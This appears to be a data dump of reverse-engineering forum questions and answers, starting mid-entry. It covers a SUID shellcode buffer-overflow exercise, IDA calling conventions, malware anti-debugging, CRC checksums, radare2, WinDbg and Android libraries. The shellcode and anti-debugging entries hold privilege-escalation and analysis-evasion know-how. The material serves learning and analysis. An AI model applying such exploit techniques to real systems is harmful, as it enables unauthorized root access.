which give me shell after <code>INT 80</code> executed?  </p>\n\n<p>What should I do to make my payload which containt <code>SETUID(0)</code> work like expected?</p>\n\n<p>PS : I Want to ask it, fortunately it work by the end of writing question. Any other answer is welcome.</p>\n\n<p>Thanks in advance. </p>\n",
        "Title": "Why SUID Shellcode not working but Basic Shellcode working?",
        "Tags": "|buffer-overflow|",
        "Answer": "<p>Don't forget to set compiled program owner as root <code>sudo chown root ./filename</code> and don't forget to set SUID bit <code>chmod u+s ./filename</code>, because your payload contain <code>SETUID(0)</code></p>\n"
    },
    {
        "Id": "18561",
        "CreationDate": "2018-06-19T13:09:25.303",
        "Body": "<p>I am performing reverse engineering on android apk using apktool.</p>\n\n<ol>\n<li>Is there any way I can view the code in SDK/NDK files ?</li>\n<li>if i make any change in the .smali files is it necessary to run the modified apk on rooted device and what will happen if i run the modified apk on non-rooted device ? </li>\n</ol>\n",
        "Title": "How to view SDK files and is it mandatory to run modified apk on rooted device",
        "Tags": "|android|java|apk|",
        "Answer": "<p>1) The Code written in NDK files is visible in .so files.</p>\n\n<p>2) It is not mandatory to run the  modified apk on rooted devices,but its a better option to run on rooted devices.</p>\n"
    },
    {
        "Id": "18570",
        "CreationDate": "2018-06-21T09:27:06.630",
        "Body": "<p>I've a binary opened in IDA. It uses a function pointer from a COM vtable. I found that the COM method has 13 parameters (including <code>this</code>). But IDA shows only 4 parameters as shown in this pseudocode:</p>\n\n<pre><code>v93 = 0i64;\nv79 = &amp;hObject;\nv78 = &amp;v93;\nv77 = 0xFFFFFFFF;\nv76 = (signed int)NtCurrentPeb()-&gt;ProcessParameters-&gt;Reserved2[0];\nv75 = a6;\nLODWORD(v74) = v130;\nv73 = v129;\nHIDWORD(v72) = HIDWORD(v118);\nv71 = Dst;\nv14 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, __int64))(*(_QWORD *)v10 + 48i64))(v10, v117, v91, v116);\n</code></pre>\n\n<p>The corresponding disassembly looks like this:</p>\n\n<pre><code>loc_1400055B6:\nmov     [rsp+2A8h+var_1E0], rsi\nmov     rax, gs:60h\nmov     rcx, [rax+20h]\nmov     rdx, [rcx+10h]\nmov     rax, [r12]\nmov     r10, [rax+30h]\nlea     rax, [rsp+2A8h+hObject]\nmov     [rsp+2A8h+var_248], rax\nlea     rax, [rsp+2A8h+var_1E0]\nmov     [rsp+2A8h+var_250], rax\nor      [rsp+2A8h+var_258], 0FFFFFFFFh\nmov     [rsp+2A8h+var_260], edx\nmov     [rsp+2A8h+var_268], r15\nmov     eax, dword ptr [rsp+2A8h+var_90]\nmov     dword ptr [rsp+2A8h+var_270], eax\nmov     rax, [rsp+2A8h+var_98]\nmov     [rsp+2A8h+var_278], rax\nmov     rax, [rsp+2A8h+var_110]\nmov     [rsp+2A8h+var_280], rax\nmov     rax, [rsp+2A8h+Dst]\nmov     [rsp+2A8h+var_288], rax\nmov     r9, [rsp+2A8h+var_120]\nmov     r8d, [rsp+2A8h+var_1EC]\nmov     rdx, [rsp+2A8h+var_118]\nmov     rcx, r12\nmov     rax, r10\ncall    cs:__guard_dispatch_icall_fptr\nmov     rcx, [rsp+2A8h]\ntest    eax, eax\njs      loc_140005FF4\n</code></pre>\n\n<p><strong>Question</strong>: The function pointer i.e. <code>v10 + 48i64</code> shows only four parameter. How can I add or find the remaining parameters?</p>\n\n<hr>\n\n<p><strong>Update:</strong> I add a header file mentioning the total 13 probable parameters in that method. Though IDA changes the data type of four parameters (v10, v117, v91, v116) it doesn't add remaining ones. I thought that if v71 to v79 are the other parameter of that COM method. That'll make all 13 parameters. And the execution starts with v79. May be like <code>__stdcall</code>.</p>\n",
        "Title": "How to add/find parameters to a function declaration in IDA/HexRays?",
        "Tags": "|ida|disassembly|hexrays|com|",
        "Answer": "<ul>\n<li><strong>Simplification:</strong> All the memory offsets are in decimal. </li>\n</ul>\n\n\n\n<pre><code>loc_1400055B6:\nmov     [rsp+200], rsi\nmov     rax, gs:60h\nmov     rcx, [rax+32]\nmov     rdx, [rcx+16]\nmov     rax, [r12]              ;load lpVtbl pointer\nmov     r10, [rax+48]           ;sixth (48/8) function after QueryInterface\nlea     rax, [rsp+168]\nmov     [rsp+96], rax           ;13th parameter\nlea     rax, [rsp+200]\nmov     [rsp+88], rax           ;12th parameter\nmov     [rsp+80], rsi           ;11th parameter\nmov     [rsp+72], edx           ;10th parameter\nmov     [rsp+64], r15           ;9th parameter\nmov     eax, [rsp+744]\nmov     [rsp+56], eax           ;8th parameter\nmov     rax, [rsp+736]\nmov     [rsp+48], rax           ;7th parameter\nmov     rax, [rsp+616]\nmov     [rsp+40], rax           ;6th parameter\nmov     rax, [rsp+592]\nmov     [rsp+32], rax           ;5th parameter\nmov     r9, [rsp+600]           ;4th parameter\nmov     r8d, [rsp+196]          ;3rd parameter\nmov     rdx, [rsp+608]          ;2nd parameter\nmov     rcx, r12                ;1st parameter aka. 'this' pointer \nmov     rax, r10                ;sixth function after QueryInterface\ncall    cs:__guard_dispatch_icall_fptr\nmov     rcx, [rsp+378h]\ntest    eax, eax\njs      loc_140005FF4\n</code></pre>\n\n<ul>\n<li><strong>Explanation:</strong> The binary is a Windows 64bit executable. It is not easily possible to get details of function parameters with pseudo-code only. The assembly code defines more than that. </li>\n</ul>\n\n<p>The function follows <a href=\"https://docs.microsoft.com/en-us/cpp/build/overview-of-x64-calling-conventions\" rel=\"nofollow noreferrer\"><code>__fastcall</code> convention</a>. Quote from <a href=\"https://docs.microsoft.com/en-us/cpp/build/overview-of-x64-calling-conventions\" rel=\"nofollow noreferrer\">this article</a>: \"Integer arguments are passed in registers <code>RCX</code>, <code>RDX</code>, <code>R8</code>, and <code>R9</code>\". As you can see the assembly follows same rule from 1st to 4th parameter. Then the rest of parameters are stored in stack with increment of <code>[RSP+32]</code> to <code>[RSP+96]</code>. For example: </p>\n\n\n\n<pre><code>func1(int a, int b, int c, int d, int e);\n// a in RCX, b in RDX, c in R8, d in R9, e pushed on stack \n</code></pre>\n\n<p>Hence IDA only takes the four general 64bit registers as parameters only, not the stack variables and it shows only four parameters instead of thirteen parameters. At last, ignore the calling of <code>__guard_dispatch_icall_fptr</code> function, it's just a <a href=\"https://docs.microsoft.com/en-us/windows/desktop/secbp/control-flow-guard\" rel=\"nofollow noreferrer\">Control Flow Guard</a> added by M$ Visual Studio compiler. </p>\n\n\n"
    },
    {
        "Id": "18575",
        "CreationDate": "2018-06-22T02:30:06.153",
        "Body": "<p>I'm trying to get a debugger attached to a malware, but it seems to pick up whenever a new remote thread is created (which makes it so I can't use Scyllahide).</p>\n\n<p>Even if I suspend all threads, it does the following:\nWhen a new remote thread is created(<code>CreateRemoteThread</code> / <code>ZwCreateThread</code>) (internally calling <code>CreateThread</code> is ok) it patches a <code>0xC3(ret)</code> to the entry point. </p>\n\n<p>I tried suspending it on creation then resuming it later but as soon as it is resumed the entry point gets patched before it can execute.</p>\n\n<p>I've looked at hooks in PCHunter, there is no hooks in unnamed functions or thread related functions.</p>\n\n<p>IDA Pro isn't helping much, the process is obfuscated a lot.</p>\n\n<p>I don't know what should be the next step at this point, so I'm hoping someone can help me figure this out. </p>\n\n<p>It looks like a hook or a callback is set somewhere but I don't know of any callback that gets executed on thread creation(at least in usermode) and I can't seem to find any hook related to threads in windows dll's. </p>\n",
        "Title": "Unable to use CreateRemoteThread in target process",
        "Tags": "|windows|x86-64|x64dbg|thread|",
        "Answer": "<p>The act of injecting a thread will trigger a call to any Thread Local Storage callbacks which the PE file might carry, even when all other threads are suspended.  Such a callback might be responsible for overwriting your thread code, since the callback has access to the important thread information such as its entry-point.</p>\n"
    },
    {
        "Id": "18581",
        "CreationDate": "2018-06-22T20:02:07.217",
        "Body": "<p>I have the following data. Can someone help me reverse engineer the checksum calculation?</p>\n\n<pre><code>Data                            Checksum\n01 02 80 05 00 00 00 00 00       7d 8c\n01 03 80 05 00 00 00 00 00       ae cb\n01 04 80 05 00 00 00 00 00       b6 0c\n01 05 80 05 00 00 00 00 00       65 4b\n01 06 80 05 00 00 00 00 00       10 83\n01 07 80 05 00 00 00 00 00       c3 c4\n01 08 80 05 00 00 00 00 00       01 1d\n</code></pre>\n",
        "Title": "Reverse Engineering Checksum (RS485 Bus)",
        "Tags": "|decryption|",
        "Answer": "<p>Google is your friend. A search for \"crc calculation online\" delivered the solution on the top hit:</p>\n\n<p><a href=\"http://www.sunshine2k.de/coding/javascript/crc/crc_js.html\" rel=\"nofollow noreferrer\">CRC Calculator (Javascript)</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/EefBl.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EefBl.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18582",
        "CreationDate": "2018-06-22T23:13:58.763",
        "Body": "<p>Given a simple program like this,</p>\n\n<pre><code>void main (int argc, char * argv[] ) {\n    char * arr[] = {\"foo\", \"bar\", \"baz\"};\n    *(arr[0]) = 'F';\n    printf( \"%s\", arr[0] );\n}\n</code></pre>\n\n<p>How do I find out what section the strings <code>foo</code>, <code>bar</code>, and <code>baz</code> are defined in? As in, are they in the <code>.text</code> section or <code>.rodata</code>, and also check to make sure those section are <code>ro</code>, or <code>rw</code>?</p>\n",
        "Title": "How do I find out what section variables and strings are defined in?",
        "Tags": "|c|radare2|elf|section|",
        "Answer": "<p>In the following answer, I'll show you several ways to achieve what you want. I'll use different approaches to do this with radre2.</p>\n\n<p>First, let's create a program with a bit longer strings:</p>\n\n<pre><code>$ cat helloworld.c \n\n#include &lt;stdio.h&gt;\n\nvoid main (int argc, char * argv[] ) {\n    char * arr[] = {\"Hello\", \"World\", \"Byebye\"};\n    arr[0] = \"F\";\n    printf( \"%s\\n\", arr[0] );\n}\n\n$ gcc helloworld.c -o helloworld\n</code></pre>\n\n<p>And open it in radare2:</p>\n\n<pre><code>$ r2 helloworld\n</code></pre>\n\n<p>Now that we have a tiny binary, we can start.</p>\n\n<hr>\n\n<h2>Method 1: Strings in data sections</h2>\n\n<p>Using the <code>iz</code> command you can list the strings in the data sections. For each string, you can see the section it belongs to:</p>\n\n<pre><code>[0x000005b0]&gt; iz\n000 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n001 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n002 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byeby\n</code></pre>\n\n<p>And of course, you can always use radare's internal grep (<code>~</code>) to take only the relevant columns:</p>\n\n<pre><code>[0x000005b0]&gt; iz~[5,7]\n(.rodata) Hello\n(.rodata) World\n(.rodata) Byebye\n</code></pre>\n\n<h2>Method 2: Strings in the whole binary</h2>\n\n<p>Unlike <code>iz</code>, the command <code>izz</code> will search for strings in the whole binary. This command will show you more strings than <code>iz</code> but it'll search for strings in other sections as well.</p>\n\n<pre><code>[0x000005b0]&gt; izz\n000 0x00000034 0x00000034   4  10 (LOAD0) utf16le @8\\t@\n001 0x00000238 0x00000238  27  28 (.interp) ascii /lib64/ld-linux-x86-64.so.2\n002 0x00000379 0x00000379   9  10 (.dynstr) ascii libc.so.6\n003 0x00000383 0x00000383   4   5 (.dynstr) ascii puts\n004 0x00000388 0x00000388  16  17 (.dynstr) ascii __stack_chk_fail\n005 0x00000399 0x00000399  14  15 (.dynstr) ascii __cxa_finalize\n006 0x000003a8 0x000003a8  17  18 (.dynstr) ascii __libc_start_main\n007 0x000003ba 0x000003ba   9  10 (.dynstr) ascii GLIBC_2.4\n008 0x000003c4 0x000003c4  11  12 (.dynstr) ascii GLIBC_2.2.5\n009 0x000003d0 0x000003d0  27  28 (.dynstr) ascii _ITM_deregisterTMCloneTable\n010 0x000003ec 0x000003ec  14  15 (.dynstr) ascii __gmon_start__\n011 0x000003fb 0x000003fb  25  26 (.dynstr) ascii _ITM_registerTMCloneTable\n...\n019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye\n022 0x00000810 0x00000810   4   5 (.eh_frame) ascii \\e\\f\\a\\b\n023 0x00000840 0x00000840   4   5 (.eh_frame) ascii \\e\\f\\a\\b\n024 0x00000867 0x00000867   5   6 (.eh_frame) ascii ;*3$\"\n025 0x0000088a 0x0000088a   4   5 (.eh_frame) ascii h\\f\\a\\b\n026 0x00001038 0x00000000  16  17 (.comment) ascii GCC: (GNU) 7.2.0\n027 0x00001669 0x00000001   6   7 (.strtab) ascii init.c\n028 0x00001670 0x00000008  10  11 (.strtab) ascii crtstuff.c\n...\n</code></pre>\n\n<p>Again, you can see that radare2 shows you the section name for each string. \nIf you are searching for specific strings, grep is your friend:</p>\n\n<pre><code>[0x000005b0]&gt; izz~Hello, World, Byebye\n019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye\n\n[0x000005b0]&gt; izz~Hello, World, Byebye[5,7]\n(.rodata) Hello\n(.rodata) World\n(.rodata) Byebye\n</code></pre>\n\n<h2>Method 3: Section of a specific address</h2>\n\n<p>In this method, you already know the address of the string and you want to know to which section it belongs. Let's take \"Hello\" for example. We saw that \"Hello\" address is <code>0x000007b4</code>. Let's verify it using <code>ps</code> (<strong>p</strong>rint <strong>s</strong>tring):</p>\n\n<pre><code>[0x000005b0]&gt; ps @ 0x000007b4\nHello\n</code></pre>\n\n<p>As you can see, we printed a zero-terminated string from <code>0x07b4</code> (\"@\" is radare's temporary seek). Now that we are sure that this is the address of \"Hello\", we can use <code>iS.</code> to show the current Section name:</p>\n\n<pre><code>[0x000005b0]&gt; iS. @ 0x07b4\nCurrent section\n00 0x000007b0    25 0x000007b0    25 -r-- .rodata\n</code></pre>\n\n<p>As expected, this address belongs to the <code>.rodata</code> section. Just as we saw before.</p>\n\n<hr>\n\n<h2>Show Sections' attributes</h2>\n\n<p>Finally, you wanted to check whether the sections' attributes are read-only or read-write. Using <code>iS</code> you can list all the sections, including their attributes:</p>\n\n<pre><code>[0x000005b0]&gt; iS\n[Sections]\n00 0x00000000     0 0x00000000     0 ---- \n01 0x00000238    28 0x00000238    28 -r-- .interp\n02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag\n03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id\n04 0x00000298    28 0x00000298    28 -r-- .gnu.hash\n05 0x000002b8   192 0x000002b8   192 -r-- .dynsym\n06 0x00000378   157 0x00000378   157 -r-- .dynstr\n07 0x00000416    16 0x00000416    16 -r-- .gnu.version\n08 0x00000428    48 0x00000428    48 -r-- .gnu.version_r\n09 0x00000458   216 0x00000458   216 -r-- .rela.dyn\n10 0x00000530    48 0x00000530    48 -r-- .rela.plt\n11 0x00000560    23 0x00000560    23 -r-x .init\n12 0x00000580    48 0x00000580    48 -r-x .plt\n13 0x000005b0   498 0x000005b0   498 -r-x .text\n14 0x000007a4     9 0x000007a4     9 -r-x .fini\n15 0x000007b0    25 0x000007b0    25 -r-- .rodata\n16 0x000007cc    52 0x000007cc    52 -r-- .eh_frame_hdr\n17 0x00000800   240 0x00000800   240 -r-- .eh_frame\n18 0x00000de0     8 0x00200de0     8 -rw- .init_array\n19 0x00000de8     8 0x00200de8     8 -rw- .fini_array\n20 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n21 0x00000fd0    48 0x00200fd0    48 -rw- .got\n22 0x00001000    40 0x00201000    40 -rw- .got.plt\n23 0x00001028    16 0x00201028    16 -rw- .data\n24 0x00001038     0 0x00201038     8 -rw- .bss\n25 0x00001038    17 0x00000000    17 ---- .comment\n26 0x00001050  1560 0x00000000  1560 ---- .symtab\n27 0x00001668   555 0x00000000   555 ---- .strtab\n28 0x00001893   259 0x00000000   259 ---- .shstrtab\n29 0x00000040   504 0x00000040   504 -r-x PHDR\n30 0x00000238    28 0x00000238    28 -r-- INTERP\n31 0x00000000  2288 0x00000000  2288 -r-x LOAD0\n32 0x00000de0   600 0x00200de0   608 -rw- LOAD1\n33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC\n34 0x00000254    68 0x00000254    68 -r-- NOTE\n35 0x000007cc    52 0x000007cc    52 -r-- GNU_EH_FRAME\n36 0x00000000     0 0x00000000     0 -rw- GNU_STACK\n37 0x00000de0   544 0x00200de0   544 -r-- GNU_RELRO\n38 0x00000000    64 0x00000000    64 -rw- ehdr\n</code></pre>\n\n<p>Alternatively,  use <code>iSq</code> to show a less-verbose output (<strong>q</strong> is for <strong>quiet</strong>), and you also can grep for read-write sections:</p>\n\n<pre><code>[0x000005b0]&gt; iS~rw\n18 0x00000de0     8 0x00200de0     8 -rw- .init_array\n19 0x00000de8     8 0x00200de8     8 -rw- .fini_array\n20 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n21 0x00000fd0    48 0x00200fd0    48 -rw- .got\n22 0x00001000    40 0x00201000    40 -rw- .got.plt\n23 0x00001028    16 0x00201028    16 -rw- .data\n24 0x00001038     0 0x00201038     8 -rw- .bss\n32 0x00000de0   600 0x00200de0   608 -rw- LOAD1\n33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC\n36 0x00000000     0 0x00000000     0 -rw- GNU_STACK\n38 0x00000000    64 0x00000000    64 -rw- ehdr\n</code></pre>\n\n<p>If you want to see read-only sections, use grep like this <code>iS~r--</code>.</p>\n"
    },
    {
        "Id": "18588",
        "CreationDate": "2018-06-23T08:16:08.660",
        "Body": "<p>I can set a <code>DWORD</code> memory read/write access breakpoint in WinDbg with the following command:</p>\n\n<pre><code>ba r 4 0x0307F42C\n</code></pre>\n\n<p>But is there a way to set more than 4 of those?</p>\n",
        "Title": "Can I set more than 4 memory access breakpoints in WinDbg?",
        "Tags": "|debugging|memory|windbg|breakpoint|",
        "Answer": "<p>Although windbg does not support <em>memory breakpoints</em>, memory breakpoints are another common approach to place breakpoints based on memory access instead of code execution.</p>\n\n<p>Although most debuggers implement that internally, memory breakpoints work by setting the <code>PAGE_GUARD</code> bit for all pages in the memory breakpoint address range, and then filtering any exceptions caught for the specific ranges within the pages, and then resetting the page guard.</p>\n\n<p>You can do something similar by placing a page guard yourself using windbg, however that's a lot of effort.</p>\n\n<p>It is important to note that memory breakpoints are detectable with little effort and may dramatically slow execution (even further down than debugging), when debugging a piece of software with anti-debugging protection make sure you pay attention.</p>\n"
    },
    {
        "Id": "18591",
        "CreationDate": "2018-06-23T21:13:55.347",
        "Body": "<p>So I'm currently trying to understand how an Android app interprets the data sent from a Bluetooth-enabled scale.</p>\n\n<p>Understanding the Java code was relatively easy. The code was obfuscated but I found out how the Bluetooth protocol works.</p>\n\n<p>However, the app use the Android NDK to call a native (armeabi) library that calculates data like body fat percentage from the data sent from the scale (weight, impedance...): libBodyfat.so</p>\n\n<p>I know what all the parameters are and what the C-functions return, but I don't know how they do it (what calculations are done).</p>\n\n<p>Apparently it's not possible to create readable code from a C library the way it's possible with Java. I found some tools that were recommended to work with C binaries (e.g. IDA) but they don't work with ARM binaries.</p>\n\n<p>What can I do to understand how the library works?</p>\n",
        "Title": "How can I make sense of an Android NDK library?",
        "Tags": "|android|arm|",
        "Answer": "<p>Hope it is not too late. I will try to help you on this. I've been go through this and that to reverse engineer that exactly same library. <code>libBodyfat.so</code>. As @TheKalin answered, you will find few <code>.so</code> files in the folder. </p>\n\n<p>I found x86-64 is the easiest to read compare to others. Here are the tools that I used to reverse engineer the library:</p>\n\n<ol>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/download_freeware.shtml\" rel=\"nofollow noreferrer\">IDA-free</a>. It will list the constant value nicely.</li>\n<li><a href=\"https://www.hopperapp.com/\" rel=\"nofollow noreferrer\">HopperApp</a>. I used it for disassemble and decompile to c-like language. It also able to disassemble ARM. You can try the demo version, but it will close the app for sometimes and you need to re-open it.</li>\n<li><a href=\"https://gregstoll.dyndns.org/~gregstoll/floattohex/\" rel=\"nofollow noreferrer\">Hex to Float Convt.</a>. Some constant values are used in the formula, I converted those values with this website.</li>\n<li>And websites to learn how the assembly instructions work.</li>\n</ol>\n\n<p>I manage to convert some of the functions (init &amp; body fat percentage) to javascript functions</p>\n\n<p>Here it is. I have not clean up the code yet. And please do let me know if there is mistakes or something that I need to improve.</p>\n\n<p><a href=\"https://gist.github.com/mamadcloud/95c8fe8f5816286f2ad62c81f937e6b6\" rel=\"nofollow noreferrer\">https://gist.github.com/mamadcloud/95c8fe8f5816286f2ad62c81f937e6b6</a></p>\n\n<p>Hope it is helpful.</p>\n"
    },
    {
        "Id": "18593",
        "CreationDate": "2018-06-24T05:29:22.900",
        "Body": "<p>As asking a friend and no amount of Googling yielded an answer, I figured I'd make an account and give this place a go.</p>\n\n<p>I'm working on reverse engineering the server for a relatively old game with no network packets from when it was alive. The game only made partial use of SSL (don't know what for specifically), and nothing I send it seems to trigger any response. The game sends a packet via a TCP PSH after the connection is established, and Apache replies with a 400 Bad Request. If Apache doesn't send any error, the game will wait indefinitely for a response. Due to lack of environment variables in the data and a defining request (HTTP GET, SSL handshake, etc.) from the game, it's unclear as to what it's expecting. CGI scrips, digest authentication, nor anything I can think of matches the contents. Here's the packet dump. \"Hub\" is a special keyword that's referenced throughout the game binary relating to code files and directories:</p>\n\n<p>Packet header: </p>\n\n<pre><code>00000000   90 2b 34 35 e7 c5 fc 0f e6 52 e2 e3 08 00 45 00   .+45.... .R....E.\n00000010   03 1f a6 e2 40 00 40 06 0d 92 c0 a8 01 12 c0 a8   ....@.@. ........\n00000020   01 02 c5 9b 27 57 de f8 91 89 55 e4 99 2b 80 18   ....'W.. ..U..+..\n00000030   ff ff 62 23 00 00 01 01 08 0a 00 00 00 00 39 77   ..b#.... ......9w\n00000040   24 62                                             $b\n</code></pre>\n\n<p>Packet contents:</p>\n\n<pre><code>00000000  24 e8 02 01 00 71 00 03  00 00 06 00 04 01 00 d6   $....q.. ........\n00000010  02 30 82 02 d2 30 82 01  ba a0 03 02 01 02 02 14   .0...0.. ........\n00000020  01 00 00 00 00 00 00 00  00 00 00 00 42 00 00 00   ........ ....B...\n00000030  00 00 00 e4 30 0d 06 09  2a 86 48 86 f7 0d 01 01   ....0... *.H.....\n00000040  05 05 00 30 81 96 31 0b  30 09 06 03 55 04 06 13   ...0..1. 0...U...\n00000050  02 55 53 31 0b 30 09 06  03 55 04 08 13 02 43 41   .US1.0.. .U....CA\n00000060  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D\n00000070  69 65 67 6f 31 31 30 2f  06 03 55 04 0a 13 28 53   iego110/ ..U...(S\n00000080  4f 4e 59 20 43 6f 6d 70  75 74 65 72 20 45 6e 74   ONY Comp uter Ent\n00000090  65 72 74 61 69 6e 6d 65  6e 74 20 41 6d 65 72 69   ertainme nt Ameri\n000000A0  63 61 20 49 6e 63 2e 31  14 30 12 06 03 55 04 0b   ca Inc.1 .0...U..\n000000B0  13 0b 53 43 45 52 54 20  47 72 6f 75 70 31 1d 30   ..SCERT  Group1.0\n000000C0  1b 06 03 55 04 03 13 14  53 43 45 52 54 20 52 6f   ...U.... SCERT Ro\n000000D0  6f 74 20 41 75 74 68 6f  72 69 74 79 30 1e 17 0d   ot Autho rity0...\n000000E0  30 36 30 32 30 38 30 30  34 39 30 36 5a 17 0d 33   06020800 4906Z..3\n000000F0  36 30 32 30 37 32 33 35  39 35 39 5a 30 77 31 0b   60207235 959Z0w1.\n00000100  30 09 06 03 55 04 06 13  02 55 53 31 13 30 11 06   0...U... .US1.0..\n00000110  03 55 04 08 13 0a 43 61  6c 69 66 6f 72 6e 69 61   .U....Ca lifornia\n00000120  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D\n00000130  69 65 67 6f 31 17 30 15  06 03 55 04 0a 13 0e 4c   iego1.0. ..U....L\n00000140  6f 6e 64 6f 6e 20 53 74  75 64 69 6f 73 31 0d 30   ondon St udios1.0\n00000150  0b 06 03 55 04 0b 13 04  53 43 45 45 31 17 30 15   ...U.... SCEE1.0.\n00000160  06 03 55 04 03 13 0e 48  75 62 20 53 43 45 45 20   ..U....H ub SCEE \n00000170  32 30 33 37 34 30 5c 30  0d 06 09 2a 86 48 86 f7   203740\\0 ...*.H..\n00000180  0d 01 01 01 05 00 03 4b  00 30 48 02 41 00 bb a7   .......K .0H.A...\n00000190  3a c9 8c 1c b1 93 ff 51  b0 02 b3 88 6a d5 35 49   :......Q ....j.5I\n000001A0  5c 58 42 f3 7f ab 32 ea  89 5b b8 c2 55 83 f4 72   \\XB...2. .[..U..r\n000001B0  f6 bd 1b 29 6b 7b ca 89  0a bb 42 b8 dc b0 a6 01   ...)k{.. ..B.....\n000001C0  47 88 e5 47 fd 8d 31 cc  f0 8b b8 16 f5 65 02 03   G..G..1. .....e..\n000001D0  00 00 11 30 0d 06 09 2a  86 48 86 f7 0d 01 01 05   ...0...* .H......\n000001E0  05 00 03 82 01 01 00 08  b0 85 11 13 37 d0 97 c0   ........ ....7...\n000001F0  53 bb b0 ac 48 af dd 4c  ad 24 9d bd 9c b0 8a 26   S...H..L .$.....&amp;\n00000200  45 1c 0a fd 39 0d 01 34  3b 42 34 9f 08 f6 ac 5e   E...9..4 ;B4....^\n00000210  11 77 01 3a 9b e0 d5 50  28 66 4f f8 1c a1 13 08   .w.:...P (fO.....\n00000220  8c fd 69 5e b8 aa b1 13  46 54 08 e3 4e 47 74 c9   ..i^.... FT..NGt.\n00000230  ea 33 6c bb 12 d0 58 da  4b d6 c6 09 09 16 e6 f0   .3l...X. K.......\n00000240  57 40 fb dd 69 17 83 73  a5 e6 fa 11 e6 63 9a ae   W@..i..s .....c..\n00000250  47 08 7b a4 23 b2 12 e5  eb 5a f6 da f5 e6 4a e8   G.{.#... .Z....J.\n00000260  10 35 57 b2 ed b7 36 97  95 63 bc 78 22 87 38 1d   .5W...6. .c.x\".8.\n00000270  b2 70 90 31 b7 6f 11 1e  b6 72 89 91 0f 5d fe 65   .p.1.o.. .r...].e\n00000280  38 ed 6c 66 f4 31 b4 5a  8a f2 71 77 7f 56 45 a4   8.lf.1.Z ..qw.VE.\n00000290  70 f3 1f c5 1f 8b 78 6a  40 45 c6 39 cc 22 6e 5e   p.....xj @E.9.\"n^\n000002A0  56 c7 63 5e 44 bb 65 e5  6d 5c 94 93 25 af 5a 47   V.c^D.e. m\\..%.ZG\n000002B0  24 6f 3f 0d d9 b0 a0 be  6a 1b 10 21 b7 61 d3 c3   $o?..... j..!.a..\n000002C0  44 8c 8c 5a c9 61 b2 26  fc 02 ee 5e 73 12 8e ef   D..Z.a.&amp; ...^s...\n000002D0  0d 10 e9 f9 f5 37 8c 0e  6a 52 c3 4e b2 1c b1 e0   .....7.. jR.N....\n000002E0  7f 21 20 ea 7b 10 97 00  00 00 00                  .! .{... ...\n</code></pre>\n\n<p>Scanning it as a file will detect it as a .der certificate, and while its structure in general looks like a certificate, as far as I can tell via comparison, it is not. Perhaps someone with more knowledge knows what this is (and what \"rt\" is, below), or knows if this is some custom data. The following strings are also referenced in the game's binary that likely has some relation, with the first coming directly after the above ASCII <code>ZG$o?</code>:</p>\n\n<pre><code>+-#0,;:_\n_lc_mtx\n&lt;0123456789ABCDEF\n0123456789abcdef\n\nrt_ssl 3.02.200810102000\n666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLNT \nSRVR \n0123456789abcdefghijklmnopqrstuvwxyz \n0123456789abcdefABCDEF\n\nReleaseVersion 3.02.200810102000 \nrt_cert version: 3.02.200810102000\n</code></pre>\n",
        "Title": "Unknown Game Client Data",
        "Tags": "|binary-analysis|elf|",
        "Answer": "<p>Answering my own question for anyone in the future that comes across this post searching for answers to games that use the same middleware (SCE-RT/Medius SDK), the packet above is a standard x509 certificate. You can binwalk your game's executable and extract the unformatted certificate.</p>\n"
    },
    {
        "Id": "18597",
        "CreationDate": "2018-06-26T01:19:10.027",
        "Body": "<p>In trying to understand a .so from an Android game made with Cocos2d-x, I've come across identifiers like the following (after demangling):</p>\n\n<p><code>SceneActionMap::updateTalkMode(float)::$_37</code>\n<code>SceneActionMap::onTouchEndedTalk(cocos2d::Touch*, cocos2d::Event*)::$_38</code></p>\n\n<p>I'm still a little shaky on ELF &amp; the C++ ABI, but these names are found in <code>.rodata</code> and are referred to by some kind of structure in <code>.data.rel.ro</code> that seems RTTI related.</p>\n\n<p>What kind of entities are $_37 and $_38? Are these anonymous functions generated by the NDK, or are they some kind of metadata about other functions?</p>\n",
        "Title": "What does a C++ identifier ending in $_## mean?",
        "Tags": "|c++|android|elf|shared-object|",
        "Answer": "<p>its a lambda function,\nas example stack trace in google <a href=\"https://github.com/Microsoft/vscode-cpptools/issues/2117\" rel=\"nofollow noreferrer\">https://github.com/Microsoft/vscode-cpptools/issues/2117</a></p>\n"
    },
    {
        "Id": "18599",
        "CreationDate": "2018-06-26T07:45:47.083",
